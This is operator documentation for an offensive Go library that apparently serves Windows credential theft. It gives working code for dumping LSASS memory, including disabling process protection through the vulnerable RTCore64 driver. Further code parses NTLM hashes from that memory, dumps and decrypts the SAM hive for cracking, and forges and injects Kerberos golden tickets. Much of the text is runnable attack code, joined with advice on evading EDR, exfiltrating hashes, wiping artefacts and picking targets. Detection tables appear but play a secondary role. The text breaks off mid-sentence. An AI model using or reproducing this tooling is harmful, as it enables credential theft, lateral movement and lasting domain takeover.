stats, err := lsassdump.DumpToFile(`C:\Users\Public\lsass.dmp`, caller)
if err != nil {
panic(err)
}
fmt.Printf("dumped %d regions, %d MB\n", stats.Regions, stats.BytesRead>>20)
Composed — dump in-memory + parse without disk
Pipe the MINIDUMP through a bytes.Buffer straight into
sekurlsa.Parse:
import (
"bytes"
"github.com/oioio-space/maldev/credentials/lsassdump"
"github.com/oioio-space/maldev/credentials/sekurlsa"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
h, err := lsassdump.OpenLSASS(caller)
if err != nil {
panic(err)
}
defer lsassdump.CloseLSASS(h)
var buf bytes.Buffer
if _, err := lsassdump.Dump(h, &buf, caller); err != nil {
panic(err)
}
res, err := sekurlsa.Parse(bytes.NewReader(buf.Bytes()), int64(buf.Len()))
if err != nil {
panic(err)
}
defer res.Wipe()
Advanced — PPL bypass via RTCore64
When RunAsPPL=1, drop the protection byte through a kernel
ReadWriter, dump, restore.
import (
"github.com/oioio-space/maldev/credentials/lsassdump"
"github.com/oioio-space/maldev/kernel/driver/rtcore64"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
drv, err := rtcore64.Load(rtcore64.LoadOptions{})
if err != nil {
panic(err)
}
defer drv.Unload()
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
pid, _ := lsassdump.LsassPID(caller)
ep, err := lsassdump.FindLsassEProcess(drv, pid, nil, caller)
if err != nil {
panic(err)
}
protOff, _ := lsassdump.DiscoverProtectionOffset("", nil)
tab := lsassdump.PPLOffsetTable{Protection: protOff}
tok, err := lsassdump.Unprotect(drv, ep, tab)
if err != nil {
panic(err)
}
defer lsassdump.Reprotect(drv, tok) //nolint:errcheck
if _, err := lsassdump.DumpToFile(`C:\Users\Public\ppl-lsass.dmp`, caller); err != nil {
panic(err)
}
See ExampleDumpToFile.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
OpenProcess(lsass, PROCESS_VM_READ) | Sysmon Event 10 (process access); the canonical "credential dumping" signal — fires regardless of which API surfaced the open |
Sustained NtReadVirtualMemory against lsass | EDR memory-access telemetry |
| Driver load (RTCore64) | Sysmon Event 6 (driver loaded), Microsoft vulnerable-driver blocklist |
Write of a .dmp file | EDR file-write heuristics flagging dump files in user-writable paths |
Calls to MiniDumpWriteDump | DbgHelp hook (we don't use it — but the absence is itself a tell) |
| EPROCESS.Protection byte transition | ETW Threat-Intelligence provider (Win11 22H2+) |
D3FEND counters:
- D3-PSA — flags driver-load + lsass-open combos.
- D3-SICA — kernel-driver load auditing.
- D3-FCA — MINIDUMP magic on disk.
Hardening for the operator:
- Stream the dump through a
bytes.Buffer+sekurlsa.Parsein-process — no.dmpfile ever lands. - Route Nt* through indirect syscalls (
wsyscall.MethodIndirect). - Open lsass with the minimum access mask the dump needs
(
PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION). - Defer
Reprotect— never leave lsass unprotected on a crash path.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1003.001 | OS Credential Dumping: LSASS Memory | full — region walk + MINIDUMP build | D3-PSA, D3-SICA |
| T1068 | Exploitation for Privilege Escalation | partial — PPL bypass via signed-but-vulnerable driver | D3-SICA |
Limitations
- Windows-only build/dump pipeline. Pure Go on-disk PE
parsing (
Discover*) runs cross-platform — analysts can resolve EPROCESS offsets from a capturedntoskrnl.exeon Linux/CI. - No WoW64 dumps. Modern lsass is x64; legacy WoW64 not supported.
- Driver visibility. RTCore64 is a Microsoft-blocklisted vulnerable driver as of recent vulnerable-driver blocklist updates; on hardened systems the driver load itself is blocked. Plan for vBO (very few alternative drivers) or alternative PPL bypasses.
- No thread context capture. ThreadList is a stub — full
per-thread context is not emitted. sekurlsa doesn't need it;
some legacy tooling (windbg
!analyze) does. - Protection-byte race. Between
UnprotectandOpenLSASSthere is a microsecond window where lsass is unprotected. Defenders with continuous EPROCESS monitoring (rare) can spot the transition. LsassPIDrequires elevation. The walk usesNtGetNextProcesswithPROCESS_QUERY_LIMITED_INFORMATION, which the kernel silently denies for lsass.exe (a PPL) when the caller has no elevation/SeDebugPrivilege. The loop runs toSTATUS_NO_MORE_ENTRIESwithout ever seeing lsass and surfacesErrLSASSNotFound— the same error you would see if lsass were genuinely absent. From a non-elevated context useNtQuerySystemInformation(SystemProcessInformation)directly (different syscall, returns names without opening handles) if PID-only enumeration is needed; the rest of the dump path can't proceed under lowuser anyway.
See also
credentials/sekurlsa— parses the produced MINIDUMP.credentials/goldenticket— downstream consumer of an extracted krbtgt hash.kernel/driver/rtcore64— PPL-bypass driver primitive.evasion/stealthopen— path-based file-hook bypass forntoskrnl.exereads.win/syscall— direct/indirect syscall caller used throughout this package.- Operator path.
- Detection eng path — LSASS dump telemetry.
LSASS Parsing — In-Process Credential Extraction
← Credentials area README · docs/index
MITRE ATT&CK: T1003.001 — OS Credential Dumping: LSASS Memory
Package: credentials/sekurlsa
Platform: Cross-platform (pure Go)
Detection: Low — runs entirely in the implant's own address space, no Win32 calls
TL;DR
You have the LSASS minidump bytes (from
credentials/lsassdump) and want to extract
the credentials inside without round-tripping to mimikatz on
a different host. This package parses the dump in-process and
returns structured creds.
| You want… | Use | Returns |
|---|---|---|
| Everything the dump contains | Parse | Result{Logons, MasterKeys, Tickets, Warnings} — full inventory |
| Just NTLM hashes for replay | Result.Logons filtered by Provider == "msv1_0" | NT hash + LM hash + DPAPI seed per logon |
| Kerberos tickets (TGT cache for golden-ticket research) | Result.Tickets | Per-session TGT/TGS with raw asn1 + decoded principal |
| DPAPI master keys (for offline blob decryption) | Result.MasterKeys | Per-user GUID + raw 64-byte key |
What this DOES achieve:
- Pure-Go MINIDUMP parser — no
dbghelp.dll, no Win32 calls inside the implant address space. - Cross-platform — runs on the analyst's Linux box if they exfil the dump.
- Structured
ResultwithWarnings []stringfor partial parses (Credential Guard / LSAISO / unknown lsasrv build).
What this does NOT achieve:
- Doesn't acquire the dump — that's
credentials/lsassdump. - Doesn't bypass Credential Guard / LSAISO — when
IsoUserModeis enabled, the secrets-bearing region of LSASS is encrypted to the secure-world VTL1; the dump bytes for that region are zeros.Result.Warningsflags this. - No live-process attach — input is a MINIDUMP byte buffer, not a live PID. To go live, dump first then parse.
- lsasrv.dll structure offsets are version-keyed — every LSASS build can shift the SECPKG_FUNCTION_TABLE / Logon / KIWI_BCRYPT_KEY layouts. Parser is best-effort + falls back to known-good signatures; very old or very new builds may partially miss.
Primer
credentials/lsassdump (the producer, see
lsass-dump.md) captures lsass.exe's
memory into a MINIDUMP blob. To use the blob the operator
historically had to round-trip it through mimikatz on a different
host or pypykatz on a Linux analyst box — which means exfil-ing a
50 MB+ file, leaving it on disk somewhere, and depending on a Python
runtime + 50 MB of crypto deps for the analyst.
credentials/sekurlsa is the consumer — pure-Go MINIDUMP
parsing + in-process credential extraction, so the implant pipeline
becomes:
PROCESS_VM_READ → MINIDUMP bytes (in-memory) → MSV1_0 hashes (in-memory) → wipe
No disk artefact. No exfil. No external dependency.
v1 (v0.23.0) extracts MSV1_0 NTLM hashes — the dominant pivot for pass-the-hash workflows. WDigest plaintext, Kerberos tickets, and DPAPI master keys are scoped follow-ups on top of v1's LSA-key extraction layer.
How It Works
sequenceDiagram
participant Caller
participant Parse as "sekurlsa.Parse"
participant Reader as "MINIDUMP reader"
participant Crypto as "LSA crypto"
participant Walker as "MSV1_0 walker"
Caller->>Parse: Parse(reader, size)
Parse->>Reader: openReader → header + directory + 4 streams
Reader-->>Parse: SystemInfo, Modules, Memory64List
Parse->>Parse: templateFor(BuildNumber)
Parse->>Reader: ModuleByName("lsasrv.dll") + ("msv1_0.dll")
Parse->>Crypto: extractLSAKeys(lsasrv, template)
Crypto->>Reader: ReadVA(lsasrv.Base, lsasrv.Size)
Crypto->>Crypto: findPattern(IV/3DES/AES) + derefRel32 + readPointer
Crypto->>Crypto: parseBCryptKeyDataBlob → crypto.cipher.Block
Crypto-->>Parse: *lsaKey (IV + AES + 3DES)
Parse->>Walker: extractMSV1_0(msv1_0, template, keys)
Walker->>Walker: derefRel32 → LogonSessionList head VA
loop for each bucket × Flink chain
Walker->>Reader: ReadVA(node, NodeSize)
Walker->>Reader: ReadVA(UNICODE_STRING.Buffer)
Walker->>Reader: ReadVA(PrimaryCredentials.Buffer)
Walker->>Crypto: decryptLSA(ciphertext, lsaKey)
Walker->>Walker: parseMSV1_0Primary → NT/LM/SHA1
end
Walker-->>Parse: []LogonSession
Parse-->>Caller: *Result
The crypto layer mirrors BCryptKeyDataBlobImport's logic: parse a
12-byte BCRYPT_KEY_DATA_BLOB_HEADER (magic KDBM, version 1,
cbKeyData), then import the trailing payload into crypto/aes (16
bytes) or crypto/des (24 bytes). The IV is plain bytes, no header.
CBC decryption picks the cipher by ciphertext alignment: 16-aligned goes through AES, 8-aligned-but-not-16 goes through 3DES. Same heuristic pypykatz uses.
Simple Example
package main
import (
"fmt"
"log"
"github.com/oioio-space/maldev/credentials/sekurlsa"
)
func main() {
result, err := sekurlsa.ParseFile(`C:\ProgramData\Intel\snapshot.dmp`)
if err != nil {
log.Fatal(err)
}
defer result.Wipe()
fmt.Printf("Build %d %s — %d sessions\n",
result.BuildNumber, result.Architecture, len(result.Sessions))
for _, s := range result.Sessions {
for _, c := range s.Credentials {
if msv, ok := c.(sekurlsa.MSV1_0Credential); ok && msv.Found {
fmt.Println(msv.String()) // pwdump format
}
}
}
}
Result.Wipe overwrites every hash buffer in place after the
caller's loop — pair with cleanup/memory.SecureZero on any other
slice you held the hash bytes in.
Advanced — registering a custom Template
When the dump's BuildNumber doesn't match a registered template,
Parse returns (partial Result, ErrUnsupportedBuild). The partial
result still carries BuildNumber + Architecture + Modules so
the operator can detect the gap, register a template, and retry:
package main
import (
"errors"
"log"
"github.com/oioio-space/maldev/credentials/sekurlsa"
)
func init() {
// Win11 24H2 (build 26100) — patterns derived offline from the
// Microsoft-shipped lsasrv.dll for this CU. See README.md for
// the workflow.
_ = sekurlsa.RegisterTemplate(&sekurlsa.Template{
BuildMin: 26100,
BuildMax: 26100,
IVPattern: []byte{ /* operator-derived bytes */ },
IVOffset: 0x3F,
Key3DESPattern: []byte{ /* … */ },
Key3DESOffset: -0x59,
KeyAESPattern: []byte{ /* … */ },
KeyAESOffset: 0x10,
LogonSessionListPattern: []byte{ /* … */ },
LogonSessionListOffset: 0x17,
LogonSessionListCount: 64,
MSVLayout: sekurlsa.MSVLayout{
NodeSize: 0x110,
LUIDOffset: 0x10,
UserNameOffset: 0x90,
LogonDomainOffset: 0xA0,
LogonServerOffset: 0xB0,
LogonTypeOffset: 0xC8,
CredentialsOffset: 0xD8,
},
})
}
func main() {
result, err := sekurlsa.ParseFile("snapshot.dmp")
switch {
case errors.Is(err, sekurlsa.ErrUnsupportedBuild):
log.Fatalf("build %d not covered; register a template", result.BuildNumber)
case errors.Is(err, sekurlsa.ErrLSASRVNotFound):
log.Fatal("dump missing lsasrv.dll module — wrong process?")
case err != nil:
log.Fatal(err)
}
defer result.Wipe()
log.Printf("extracted %d sessions on build %d", len(result.Sessions), result.BuildNumber)
}
Composed — Producer + Consumer in one process
The point of a pure-Go consumer: dump → extract → wipe without ever touching disk or shipping a second binary to the operator.
package main
import (
"bytes"
"fmt"
"log"
"github.com/oioio-space/maldev/credentials/sekurlsa"
"github.com/oioio-space/maldev/credentials/lsassdump"
"github.com/oioio-space/maldev/cleanup/memory"
)
func main() {
// 1. Open lsass.
h, err := lsassdump.OpenLSASS(nil) // nil = standard WinAPI; pass a *wsyscall.Caller for stealthier syscalls
if err != nil {
log.Fatal(err)
}
defer lsassdump.CloseLSASS(h)
// 2. Dump into an in-memory buffer.
var buf bytes.Buffer
if _, err := lsassdump.Dump(h, &buf, nil); err != nil {
log.Fatal(err)
}
// 3. Parse the bytes still in memory.
result, err := sekurlsa.Parse(bytes.NewReader(buf.Bytes()), int64(buf.Len()))
if err != nil {
log.Fatal(err)
}
defer result.Wipe()
// 4. Use the credentials.
for _, s := range result.Sessions {
for _, c := range s.Credentials {
if msv, ok := c.(sekurlsa.MSV1_0Credential); ok && msv.Found {
fmt.Println(msv.String())
}
}
}
// 5. Wipe the dump bytes from the Go heap.
memory.SecureZero(buf.Bytes())
}
Layered with PPL bypass via BYOVD when the lsass process is RunAsPPL=1:
import (
"github.com/oioio-space/maldev/credentials/lsassdump"
"github.com/oioio-space/maldev/credentials/sekurlsa"
"github.com/oioio-space/maldev/kernel/driver/rtcore64"
)
// 1. Bring up RTCore64 driver.
var d rtcore64.Driver
if err := d.Install(); err != nil { panic(err) }
defer d.Uninstall()
// 2. EPROCESS unprotect lsass — caller resolves the EPROCESS via
// an upstream walk (see lsass-dump.md).
tok, _ := lsassdump.Unprotect(&d, lsassEProcess, lsassdump.PPLOffsetTable{
Build: 19045, ProtectionOffset: 0x87A,
})
defer lsassdump.Reprotect(tok, &d)
// 3. Open + Dump + Parse — same as above. With PS_PROTECTION zeroed,
// the userland NtOpenProcess(VM_READ) succeeds.
Limitations
- Templates required. v1 ships the framework; per-build templates
ship under any license as community contributions verified against
real dumps. The
RegisterTemplate(t)opt-in lets operators ship their own without forking. - MSV1_0 only. WDigest, Kerberos, DPAPI, LiveSSP / TSPkg / CloudAP are each their own follow-up chantier on top of v1's crypto layer.
- x64 only. WoW64 32-bit dumps are vanishingly rare on modern Windows and not in v1 scope.
- Credential Guard / LSAISO sessions appear in the list but the
payloads are kernel-isolated ciphertext — surfaced as
Result.Warnings, not fatal errors. - No live-process attach. A
mimikatz!sekurlsa-style direct attach to lsass is a separate chantier (credentials/lsalive) that needs PPL bypass + much louder OPSEC. The dump-then-parse pipeline gives most of the value with a fraction of the noise. .kirbiexport composes viastealthopen.Creator.(*KerberosTicket).ToKirbiFile(dir)lands the file via plainos.Create; pair withToKirbiFileVia(creator, dir)to route the write through the operator's primitive (transactional NTFS, encrypted-stream wrapper, ADS, rawNtCreateFile). Same[]bytecontent; same filename.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/credentials/sekurlsa is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
See also
- Credentials area README
credentials/lsassdump— producer counterpart (dump LSASS so this parser has bytes to chew)credentials/goldenticket— feed the extracted krbtgt hash directly into Forge
SAM hive dump
← credentials index · docs/index
TL;DR
You want the local Windows account hashes (NT/LM) for the
machine — Administrator's hash for pass-the-hash, local
service accounts, etc. The hashes live in the SAM registry
hive, encrypted with a key derived from the SYSTEM hive's
"syskey".
Two paths depending on what you have on disk:
| You have… | Use | Constraint |
|---|---|---|
Both SAM + SYSTEM hive bytes (offline analysis or pre-dumped) | Decrypt | Pure-Go, cross-platform |
| Live target — need to acquire the hives first | LiveDump (calls reg save) | Windows + admin; loud — reg save HKLM\SAM is a textbook EDR signal |
What this DOES achieve:
- Pure-Go REGF (registry hive) parser — no Win32 dependency for the decryption side.
- Full crypto chain: syskey reassembly from
Lsa\{JD,Skew1,GBG,Data}class strings, AES-128-CBC unwrap of hashed bootkey, per-user RID-keyed RC4 + DES to recover the NT hash.
What this does NOT achieve:
- NTDS.dit (domain controller's AD database) is OUT OF SCOPE — separate format, separate code path. SAM is local accounts only.
- No DPAPI / SECURITY hive parsing — those carry per-user credential blobs (browser passwords, scheduled task creds). This package does NT hashes only.
- No cleartext — NT hashes are one-way. For cleartext
credentials, dump LSASS instead (
credentials/lsassdump LiveDumpis observable —reg save HKLM\SAMrequiresSeBackupPrivilegeand shows up in EDR command-line and registry-access telemetry. Prefer offline parse from pre-acquired hives when possible.
Primer
Local Windows accounts live in the SAM registry hive under
SAM\Domains\Account. Each user's NT/LM hash is stored encrypted —
two layers of crypto stand between the on-disk bytes and a usable
hash:
- The boot key (syskey) is split across four
Lsa\{JD,Skew1,GBG,Data}class strings in theSYSTEMhive, permuted at boot to defeat trivial copies. Reassembling it requires the SYSTEM hive. - The boot key encrypts the hashed bootkey stored in
SAM\Domains\Account\F— itself an AES-128-CBC blob keyed onMD5(bootKey || rid_str || qwerty || rid_str)(legacy revision uses RC4). - The hashed bootkey then derives per-user keys (RC4 or AES-128-CBC
depending on the revision tag in
F). Per-user keys decrypt the 16-byte LM and NT hash blobs inSAM\Domains\Account\Users\<RID>\V. - Modern Windows (10 1607+) also wraps the hashes in a final DES permutation keyed on the RID — same algorithm Windows itself uses to look up the hash at logon.
samdump.Dump runs the entire chain in process memory with no
syscalls. The hive bytes can come from anywhere — reg save, VSS
shadow copy, raw NTFS read, recon/shadowcopy, or pulled offline
from a backup. The package itself opens nothing.
How It Works
flowchart TD
SYS[SYSTEM hive bytes] --> EBK[extractBootKey<br>permute Lsa class strings]
EBK -->|16-byte boot key| HBK
SAM[SAM hive bytes] --> RDF[readDomainAccountF<br>AES-encrypted blob]
RDF --> HBK[deriveDomainKey<br>AES-128-CBC]
HBK -->|hashed bootkey| LU
SAM --> LU[listUserRIDs<br>walk Users key]
LU --> PV[parseUserV<br>extract username + LM/NT enc]
PV --> DEC[decryptUserNT / decryptUserLM<br>per-RID DES-permute<br>+ AES-128-CBC or RC4]
DEC --> ACC[Account{Username, RID, NT, LM}]
Implementation details:
- The REGF reader (
hive.go) walks named keys and value records throughnk/vkcells without depending ongolang.org/x/sysor any Windows-only API — cross-platform out of the box. - Per-user failures are accumulated on
Result.Warningsrather than aborting the dump; structural failures (missing boot key, malformedF, noUserskey) returnErrDump. Account.Pwdumprenders the canonicalusername:RID:LM:NT:::format consumed by hashcat (-m 1000), John (--format=NT), CrackMapExec NTLM hash auth, and impacket secretsdump.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/credentials/samdump is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — offline hives
import (
"fmt"
"os"
"github.com/oioio-space/maldev/credentials/samdump"
)
system, _ := os.Open(`/loot/SYSTEM`)
defer system.Close()
sam, _ := os.Open(`/loot/SAM`)
defer sam.Close()
sysFI, _ := system.Stat()
samFI, _ := sam.Stat()
res, err := samdump.Dump(system, sysFI.Size(), sam, samFI.Size())
if err != nil {
panic(err)
}
fmt.Print(res.Pwdump())
With password history — feed hashcat every hash a user has ever held
import (
"fmt"
"os"
"github.com/oioio-space/maldev/credentials/samdump"
)
system, _ := os.Open(`/loot/SYSTEM`)
defer system.Close()
sam, _ := os.Open(`/loot/SAM`)
defer sam.Close()
sysFI, _ := system.Stat()
samFI, _ := sam.Stat()
res, _ := samdump.Dump(system, sysFI.Size(), sam, samFI.Size())
// Current + every historical hash, ready to pipe into:
// hashcat -m 1000 -a 0 hashes.txt rockyou.txt
fmt.Print(res.PwdumpWithHistory())
// Or per-account introspection — count how many prior NT hashes
// each user has, useful for picking high-value targets first.
for _, a := range res.Accounts {
fmt.Printf("%s (RID %d): current + %d historical NT hashes\n",
a.Username, a.RID, len(a.NTHistory))
}
Composed — live host, cleanup, exfil
import (
"os"
"github.com/oioio-space/maldev/credentials/samdump"
"github.com/oioio-space/maldev/cleanup/wipe"
)
dir, _ := os.MkdirTemp("", "")
res, sysPath, samPath, err := samdump.LiveDump(dir)
defer func() {
_ = wipe.File(sysPath)
_ = wipe.File(samPath)
_ = os.RemoveAll(dir)
}()
if err != nil {
panic(err)
}
exfilPwdump(res.Pwdump())
Advanced — VSS shadow-copy acquisition
reg save is loud. For better OPSEC, acquire the hives via VSS
shadow copies through recon/shadowcopy and feed the
files into the offline Dump path:
sc, _ := shadowcopy.Create()
defer sc.Delete()
sysReader, _ := sc.Open(`Windows\System32\config\SYSTEM`)
samReader, _ := sc.Open(`Windows\System32\config\SAM`)
res, err := samdump.Dump(sysReader, sysReader.Size(),
samReader, samReader.Size())
See ExampleDump
for the runnable variant.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
reg save HKLM\SAM / HKLM\SYSTEM | Sysmon Event 1 (process creation) — reg.exe with save is one of the highest-fidelity credential-dumping signals |
Two .hive files written to a writable directory | EDR file-write telemetry; staging directories under %TEMP% are correlated with credential dumping |
RegSaveKeyEx Windows API call | ETW Microsoft-Windows-Kernel-Registry; bypassable via direct NtSaveKey syscall |
Read access to HKLM\SAM SD | Defender ASR rule "Block credential stealing from the Windows local security authority subsystem" (LSA-only, but heuristics overlap) |
D3FEND counters:
- D3-PSA
— flags
reg.exe savelineage. - D3-FCA — REGF magic on disk in atypical paths.
- D3-SICA — registry hive-handle telemetry.
Hardening for the operator:
- Prefer offline acquisition (VSS via
recon/shadowcopy, raw NTFS read, backup files) overLiveDump. - Stage hive bytes through an in-memory
io.ReaderAt(e.g.bytes.NewReader) to avoid the.hivefiles on disk altogether. - Wipe the
dirimmediately after parsing —cleanup/wipe.Filezeroes the bytes before unlinking.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1003.002 | OS Credential Dumping: Security Account Manager | full — offline + LiveDump | D3-PSA, D3-FCA, D3-SICA |
Limitations
- Local accounts only. SAM holds only the workstation's local
users. Domain credentials live in
NTDS.diton the DC; use separate tooling (impacket secretsdump remote, mimikatzlsadump::dcsync). - History coverage. Per-account NT and LM password-history
blobs are now decoded and surfaced as
Account.NTHistory/Account.LMHistory(most-recent-first). Render viaAccount.PwdumpHistory()/Result.PwdumpWithHistory(). Each historical NT hash is a full pass-the-hash candidate against any host that hasn't enforced rotation. Windows defaultMaximumPasswordHistory=24— expect up to 24 historical hashes per account. LM history is empty by default on Win10 1607+. - DPAPI / cached creds out of scope. Domain cached credentials
(
Cache{N}) live inSECURITYhive;SECURITYparsing is not in this package. - LiveDump is loud.
reg.exe savelights up every behavioral EDR. Plan for offline acquisition wherever the operational context allows. - AES revision only validated against Win10 1607+. Older XP/2003 RC4-keyed hives use the legacy code path; tested less recently.
See also
- LSASS dump (live process memory) — cousin path for live cached credentials.
credentials/sekurlsa— companion LSASS extractor.recon/shadowcopy— VSS-based hive acquisition.cleanup/wipe— secure deletion of the on-disk hive copies.- Operator path — credential-harvest decision tree.
- Detection eng path — SAM-dump telemetry.
Kerberos Golden Ticket
← credentials index · docs/index
TL;DR
You stole the domain controller's krbtgt account hash (via
credentials/lsassdump on a DC, NTDS.dit extraction, etc.).
With that hash you can forge an arbitrary Kerberos TGT — any
user, any group membership, any lifetime — that the entire
domain trusts until krbtgt is rotated (in practice: often
never).
| You want to… | Use | Constraint |
|---|---|---|
| Forge a TGT for a chosen principal + group memberships | Forge | Need krbtgt key (RC4-HMAC / AES128-CTS / AES256-CTS) |
| Inject the forged TGT into your current logon session's cache | Submit | Windows-only; uses LsaCallAuthenticationPackage(KerbSubmitTicketMessage) |
| Verify a forged PAC roundtrips correctly (research / detection) | ValidatePAC | Same krbtgt key — re-runs MS-PAC §2.8 server+KDC signature dance in reverse |
What this DOES achieve:
- Long-dwell domain admin: forged TGT works for any principal
(typically
Administrator) with any group membership (typicallyDomain Admins SID + Enterprise Admins SID). - Survives password rotation of the impersonated user — only krbtgt rotation kills it.
- Pure-Go ASN.1 marshaling — no
kerberosexternal dep, no Java/Python tooling required.
What this does NOT achieve:
- Doesn't steal the krbtgt hash — pre-requisite. Get from
credentials/lsassdumpon a DC, NTDS.dit extraction (impacket-style), or DCSync (out of scope here). - Detectable: forged TGTs have telltale anomalies (PAC
signature using only one key when DC normally uses two,
LogonTimemismatch withKerbValidationInfo.LogonTime, abnormalEncTicketPart.Renew-till> 7 days). Mature SIEMs- Microsoft Defender for Identity look for these.
- Not for cross-realm trust — forged TGT works inside the realm krbtgt belongs to. Cross-forest needs a different attack class.
- PAC signature breaks if the realm enables PAC validation to the KDC (rare but increasing) — the KDC can reject forged tickets it didn't issue. Default is no validation.
Primer
Kerberos TGTs are signed by krbtgt, a domain-wide service account
whose long-term key never leaves a domain controller. Anyone
holding the krbtgt key can mint a TGT for any principal — there is
no online check until the next krbtgt rotation. Microsoft
recommends rotating krbtgt twice per year; in the wild it is
typically rotated never.
The forged TGT carries a Privilege Attribute Certificate (PAC)
inside its EncTicketPart. The PAC is the authorization data: it
declares which groups the principal belongs to. By forging the
PAC the operator claims Domain Admins, Enterprise Admins,
Schema Admins, and Group Policy Creator Owners regardless of
what the AD database says. The PAC also fixes a LogonTime and
KickoffTime — set the kickoff 10 years in the future and the
ticket is valid for a decade.
Two PAC signatures (server checksum + KDC checksum) protect the
PAC from tampering; both are computed with the krbtgt key, so once
you have the key you control the signatures too. Member servers
typically don't validate the KDC checksum (the
PAC_VALIDATE_TICKET callback is rarely wired up), making the
ticket usable everywhere.
The package supports the three crypto suites Active Directory
shipped with NT 4 → today: RC4-HMAC (NT hash, 16 bytes; legacy but
universally present), AES128-CTS-HMAC-SHA1-96 (16 bytes), and
AES256-CTS-HMAC-SHA1-96 (32 bytes). Modern AES-only domains accept
RC4 tickets only when RC4_HMAC is explicitly enabled — check
msDS-SupportedEncryptionTypes on the krbtgt object before
choosing.
How It Works
flowchart LR
P[Params<br>Domain + krbtgt hash<br>+ user/RID/groups] --> PAC[buildPAC<br>KERB_VALIDATION_INFO<br>+ PAC_CLIENT_INFO<br>+ 2× PAC_SIGNATURE_DATA]
PAC --> ETP[EncTicketPart<br>flags + cname + crealm<br>+ key + AuthTime/EndTime<br>+ AuthorizationData=PAC]
ETP --> ENC[encrypt with krbtgt key<br>RC4 / AES128 / AES256]
ENC --> KC[KRB-CRED<br>kirbi blob]
KC --> OUT{output}
OUT -->|Forge returns bytes| DISK[ccache / .kirbi file<br>cross-platform]
OUT -->|Submit on Windows| LSA[LsaCallAuthenticationPackage<br>KerbSubmitTicketMessage]
LSA --> CACHE[per-LUID TGT cache]
Implementation details:
- The PAC server signature covers the encrypted ticket bytes; the KDC signature covers the server signature. Both are HMAC-MD5 for RC4 / HMAC-SHA1-96 for AES — keyed on the krbtgt long-term key, which is also the ticket-encryption key.
default_templates.goshipsDefaultAdminGroups—{512, 513, 518, 519, 520}(Domain Admins, Domain Users, Schema Admins, Enterprise Admins, Group Policy Creator Owners).Forgeis deterministic for a fixedParams+ a fixedParams.NowFunc— useful for tests and reproducibility.SubmitcallsLsaCallAuthenticationPackagewithKerbSubmitTicketMessage. The kirbi is written into the calling user's per-LUID cache; the next outbound Kerberos operation from the process picks it up. No domain controller contact is required.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/credentials/goldenticket is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — forge with defaults, write to disk
import (
"os"
"github.com/oioio-space/maldev/credentials/goldenticket"
)
p := goldenticket.Params{
Domain: "corp.example.com",
DomainSID: "S-1-5-21-1111-2222-3333",
Hash: goldenticket.Hash{
EType: goldenticket.ETypeAES256CTSHMACSHA196,
Bytes: aes256KrbtgtKey,
},
}
kirbi, err := goldenticket.Forge(p)
if err != nil {
panic(err)
}
_ = os.WriteFile("admin.kirbi", kirbi, 0600)
Composed — forge + inject into current process
kirbi, err := goldenticket.Forge(p)
if err != nil {
panic(err)
}
if err := goldenticket.Submit(kirbi); err != nil {
panic(err)
}
// any subsequent Kerberos call (SMB, LDAP, RDP) from this process
// authenticates as p.User with the forged group memberships.
Composed — pre-flight validation (operator sanity check)
import (
"errors"
"log"
"github.com/oioio-space/maldev/credentials/goldenticket"
)
// Use case: I just stole a krbtgt key from a DC LSASS dump. Did
// the dump survive the round-trip cleanly? Does my key actually
// produce a PAC that re-validates? Run a self-test before risking
// detection by submitting the kirbi.
//
// `pacBytes` here is the raw PAC blob from a captured ticket or a
// round-tripped Forge → extract-PAC sequence. ValidatePAC is the
// reverse of buildPAC's signature dance.
err := goldenticket.ValidatePAC(pacBytes, krbtgtHash)
switch {
case err == nil:
log.Println("PAC signatures valid — krbtgt key works")
case errors.Is(err, goldenticket.ErrInvalidServerSignature):
log.Println("server signature mismatch — wrong key or tampered PAC body")
case errors.Is(err, goldenticket.ErrInvalidKDCSignature):
log.Println("KDC signature mismatch — server sig was tampered after forge")
default:
log.Printf("PAC validation failed: %v", err)
}
Advanced — chained off the sekurlsa extractor
import (
"github.com/oioio-space/maldev/credentials/goldenticket"
"github.com/oioio-space/maldev/credentials/sekurlsa"
)
res, _ := sekurlsa.ParseFile(`C:\dc01-lsass.dmp`, nil)
defer res.Wipe()
// Find the krbtgt session in the parsed dump.
var krbtgtKey []byte
for _, sess := range res.Sessions {
if sess.UserName == "krbtgt" {
for _, c := range sess.Credentials {
if msv, ok := c.(*sekurlsa.MSVCredential); ok {
krbtgtKey = msv.NTHash
}
}
}
}
p := goldenticket.Params{
Domain: "corp.example.com",
DomainSID: "S-1-5-21-1111-2222-3333",
Hash: goldenticket.Hash{
EType: goldenticket.ETypeRC4HMAC,
Bytes: krbtgtKey,
},
}
kirbi, _ := goldenticket.Forge(p)
_ = goldenticket.Submit(kirbi)
See ExampleForge
ExampleSubmitfor the runnable variants.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
TGT lifetime > MaxTicketLifetime (default 10h) | Kerberos audit (Event 4769); long-lived tickets stand out trivially |
Domain Admins membership for an account that doesn't have it in AD | LDAP cross-checks against actual memberOf |
| RC4 etype on a domain that enforces AES | Event 4769 with Ticket Encryption Type 0x17 — anomalous on modern domains |
LsaCallAuthenticationPackage from non-Lsass process | EDR API telemetry (Defender for Identity, MDE) |
| Ticket reuse from atypical workstations | Authentication-source IP correlation |
D3FEND counters:
- D3-AZET — flags long-lived TGTs and unexpected admin-group access.
- D3-NTA — correlates Kerberos traffic to authentication-source anomalies.
Hardening for the operator:
- Set
Lifetimeto a value the domain's policy actually allows (MaxTicketLifetime, default 10h) at the cost of frequent refreshes — reduces the loudest indicator. - Use the actual etype the domain expects; AES256 is the modern default.
- Forge for a non-admin principal that legitimately needs broad
access (Backup Operator, Replicator) instead of
Administratorto dodge naive group-name allowlists. - Forge
